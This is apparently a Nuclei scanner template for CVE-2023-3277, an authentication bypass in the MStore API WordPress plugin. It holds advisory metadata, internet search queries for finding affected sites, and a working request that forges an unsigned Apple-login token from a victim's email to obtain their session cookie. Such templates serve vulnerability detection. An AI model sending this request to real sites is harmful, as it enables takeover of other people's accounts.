MStore API <= 4.10.7 - Unauthorized Account Access and Privilege Escalation

id: CVE-2023-3277

info:
  name: MStore API <= 4.10.7 - Unauthorized Account Access and Privilege Escalation
  author: daffainfo
  severity: critical
  description: |
    The MStore API plugin for WordPress is vulnerable to Unauthorized Account Access and Privilege Escalation in versions up to, and including, 4.10.7 due to improper implementation of the Apple login feature. This allows unauthenticated attackers to log in as any user as long as they know the user's email address.
  impact: |
    Attackers can log in as any user and escalate privileges, potentially leading to full account compromise.
  remediation: |
    No patch available yet; monitor for updates from the developer and apply patches as soon as they are released.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/1c7c0c35-5f44-488f-9fe1-269ea4a73854?source=cve
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2988788%40mstore-api%2Ftrunk&old=2985882%40mstore-api%2Ftrunk&sfp_email=&sfph_mail=
    - https://plugins.trac.wordpress.org/browser/mstore-api/trunk/controllers/flutter-user.php#L821
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3277
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3277
    epss-score: 0.03421
    epss-percentile: 0.8901
    cpe: cpe:2.3:a:inspireui:mstore_api:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: inspireui
    product: mstore_api
    framework: wordpress
    fofa-query: body="/wp-content/plugins/mstore-api/"
    publicwww-query: "/wp-content/plugins/mstore-api/"
  tags: cve,cve2023,wordpress,wp,wp-plugin,inspireui,mstore_api,auth-bypass,vkev,vuln

variables:
  email: "{{email}}"
  token: '{{concat(".", base64("{\"email\":\"" + email + "\"}"), ".")}}'
  firstname: "{{rand_base(5)}}"
  lastname: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /wp-json/api/flutter_user/apple_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":"{{token}}","first_name":"{{firstname}}","last_name":"{{lastname}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"wp_user_id"'
          - '"cookie"'
          - '"user_login"'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200